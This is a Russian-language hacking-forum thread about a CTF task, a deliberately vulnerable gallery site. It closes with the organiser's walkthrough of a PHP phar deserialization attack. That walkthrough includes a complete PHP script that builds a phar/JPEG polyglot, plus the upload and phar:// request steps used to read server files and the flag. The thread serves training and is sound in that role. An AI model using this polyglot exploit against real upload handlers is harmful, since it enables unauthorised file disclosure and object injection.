Task # Task #4

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by joelblack, 15 Feb 2019.

  1. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    [​IMG]

    Многие ждали этот таск раньше, но в связи с плотной нагрузкой не было времени из концепта сделать что то целостное. Наконец,на неделе появилось свободное окно и я реализовал задуманное. Отдельно хочу поблагодарить за ценные советы @dooble . Итак,перейдем непосредственно к таску. На этот раз нам предстоит поискать уязвимости на сайте SpaceX, который представляет из себя галерею. В основе таска лежит реальная уязвимость, которая не так очевидна на первый взгляд. Так что (первый хинт:)) внимательно изучайте все,что найдете.

    Задание:
    Сроки:
    Правила простые, они исторически сложились на площадках античата и рдота:
    После закрытия задания выкладываются прохождения.
    В первый пост будет добавлена таблица результатов.
    Важный момент, который хотелось бы отметить исходя из опыта Task2:
    ===

    Всем приятного прохождения!

    ===

    Hint: Десериализация срабатывает не явно,даже если в коде не присутствует unserialize()
    Hint: Присмотритесь к phar://


    Прошли:
    @Felis-Sapiens

    @crlf
    @l1ght
    @=HALK=
    @Ereee
    @gurux13
    @Franky_T
    @Isis
    @MichelleBoxing
    @b4zed
    @Gorbachev
    @D3N
    @nix_security
    @oleg_1va

    Прохождения
     
    #1 joelblack, 15 Feb 2019
    Last edited: 17 Mar 2019
    sinusu, l1ght, D3N and 13 others like this.
  2. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    506
    Likes Received:
    101
    Reputations:
    25
    Репу заслуживают за Социальную Инженерию )
     
  3. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    616
    Likes Received:
    3,833
    Reputations:
    171
    Прошел.
    Спасибо за ваши труды!
     
    Ereee, crlf, BillyBons and 2 others like this.
  4. reds1993

    reds1993 Active Member

    Joined:
    25 Aug 2008
    Messages:
    52
    Likes Received:
    131
    Reputations:
    0
    Там что, пхп заливался? :)
     
  5. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Заливалось всё :D Но не работало :(
     
    Ereee, Pirnazar and reds1993 like this.
  6. =HALK=

    =HALK= Member

    Joined:
    30 Oct 2008
    Messages:
    27
    Likes Received:
    27
    Reputations:
    40
  7. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    @crlf действительно хайповая тема оказывается :)
     
    Pirnazar, CyberTro1n and crlf like this.
  8. gurux13

    gurux13 Member

    Joined:
    4 Feb 2019
    Messages:
    8
    Likes Received:
    30
    Reputations:
    48
    Пройдено :)
     
  9. Franky_T

    Franky_T Level 8

    Joined:
    6 Nov 2018
    Messages:
    21
    Likes Received:
    66
    Reputations:
    58
    Обалденный таск :)
     
    D3N, Ereee, satori and 3 others like this.
  10. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Прошел, в принципе не сложно)
     
    Ereee, Pirnazar and crlf like this.
  11. MichelleBoxing

    MichelleBoxing Reservists Of Antichat

    Joined:
    12 Nov 2018
    Messages:
    19
    Likes Received:
    32
    Reputations:
    57
    Интересное задание, спасибо @joelblack
    не сразу врубился где флаг искать, спасибо @dooble за наводку.
    ну и спасибо @crlf за предсказание
     
    D3N, Ereee, Pirnazar and 1 other person like this.
  12. b4zed

    b4zed New Member

    Joined:
    13 Mar 2016
    Messages:
    1
    Likes Received:
    4
    Reputations:
    4
    Done.
    Спасибо авторам!
     
    D3N, Ereee, Pirnazar and 1 other person like this.
  13. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    Done.
    Спасибо авторам!
     
    Pirnazar, MichelleBoxing and crlf like this.
  14. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Добавлен Хинт в первый пост
     
    D3N and eminlayer7788 like this.
  15. D3N

    D3N Member

    Joined:
    8 Dec 2018
    Messages:
    7
    Likes Received:
    19
    Reputations:
    19
    Прошёл) Офигенный таск ! Поразмял мозги
     
  16. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Добавлен еще один хинт в первый пост
     
  17. nix_security

    nix_security Level 8

    Joined:
    15 Feb 2019
    Messages:
    11
    Likes Received:
    31
    Reputations:
    48
    Решено, спасибо. Интересный таск
     
    MichelleBoxing, D3N and crlf like this.
  18. oleg_1va

    oleg_1va Level 8

    Joined:
    8 Dec 2018
    Messages:
    4
    Likes Received:
    11
    Reputations:
    7
    Решил,познавательно).Спасибо за таск!
     
    erwerr2321, crlf, grimnir and 2 others like this.
  19. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Таск закрыт.Решения больше не принимаются.Спасибо всем за участие.Итоги подведу на выходных.
     
    D3N, eminlayer7788 and l1ght like this.
  20. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Мой таск базировался на исследовании от 14 августа 2018 года (https://blog.ripstech.com/2018/new-php-exploitation-technique/), поэтому для тех, кто в свое время изучил данную тему,думаю, было не сложно его решать. Полностью пересказывать данное исследование я не буду (для тех кому интересно можете ознакомиться с линком выше и посмотреть соответствующие слайды тут:
    https://github.com/s-n-t/presentati...n-Vulnerability-Jim-But-Not-As-We-Know-It.pdf ),лишь вкратце скажу,что был обнаружен новый метод эксплуатации PHP object injection без использования php функции unserialize() . Так же,из этого исследования можно узнать, что был найден некий трюк, который позволяет phar файл поместить в фейковый jpg.

    Основная базовая информация получена,теперь перейдем непосредственно к самому таску. Первое,что необходимо было сделать, это найти файл view.bak
    (http://task.antichat.com:10004/backup/view.bak), который располагался в папке backup. Детально изучив файл можно увидеть класс Debug который содержит метод __destruct(), который в свою очередь содержит file_get_contents(). Первое что приходит в голову, это PHP Object Injection но смущает отсутствие в коде unserialize(). На этом этапе необходимо вспомнить о phar://.

    Изучаем дальше нашу галерею и находим форму загрузки (http://task.antichat.com:10004/upload.php). Играемся с загрузкой файлов и понимаем, что ничего, кроме jpg загрузить нельзя (однако @Felis-Sapiens и @crlf обнаружили баг,который был оперативно поправлен, при котором было можно пролить php файл, но с ним все равно ничего бы не получилось сделать). Опираясь на исследование выше - понимаем, что нам необходимо как то встроить phar в jpg. Это можно сделать либо руками (этот метод я как раз опишу),а можно сделать с помощью уже готовых решений, например, https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php .
    PHP:
    <?
    class 
    Debug{}

    $jpeg_header_size =
    "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
    "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
    "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
    "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
    "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
    "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
    "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
    "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
    "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
    "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

    $phar = new Phar("Debug.phar");
    $phar->startBuffering();
    $phar->addFromString("test.txt","test");
    $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
    $o = new Debug();
    $o->hook ='php://filter/convert.base64-encode/resource=/var/www/html/index.php';
    $phar->setMetadata($o);
    $phar->stopBuffering();
    На выходе получаем файл Debug.phar. Далее нам необходимо преобразовать его в some.jpg.Я для этого использовал Notepad++. Открываем данный файл в Notepad++ и сохраняем его как some.jpg. Пробуем загрузить его и видим, что данная фейковая картинка отвечает всем требованиям загрузки и как следствие загружается на сервер.После чего кликаем по загруженному изображению и переходим по ссылке,вида:
    Code:
    http://task.antichat.com:10004/view.php?f=upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
    видим наше изображение.Дальше,что бы уязвимость сработала (в данном случае триггером служит
    file_exists()) нам необходимо добавить обертку phar://
    Code:
    http://task.antichat.com:10004/view.php?f=phar://upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
    В итоге получаем читалку. Дальше читаем .htaccess
    Code:
    #<Files ~ "^flag\.txt">
    #  Deny from all
    #</Files>
    
    
    и получаем намек что есть некий flag.txt
    Code:
    1_Kn0W_4b0Ut_Ph4R_M0r3 
    которого при этом нет в текущей директории.Затратив немного времени, понимаем,что он лежит на уровне выше. Однако цель таска была именно поэксплуатировать данную уязвимость,поэтому у кого были проблемы с поиском флага - я хинтовал по поводу пути, так как человек уже понял как использовать уязвимость и поиск флага это лишь вопрос времени.


    Теперь перейдем к решениям:
    @Felis-Sapiens
    @crlf
    @=HALK=
    @Ereee
    @gurux13
    @Franky_T
    @Isis
    @MichelleBoxing
    @b4zed
    @Gorbachev
    @D3N
    @l1ght
    @nix_security
    @oleg_1va
    Если я случайно кого то забыл - отпишите в лс. Всем спасибо за участие!
     
    #20 joelblack, 2 Mar 2019
    Last edited: 2 Mar 2019
    D3N, Franky_T, eminlayer7788 and 9 others like this.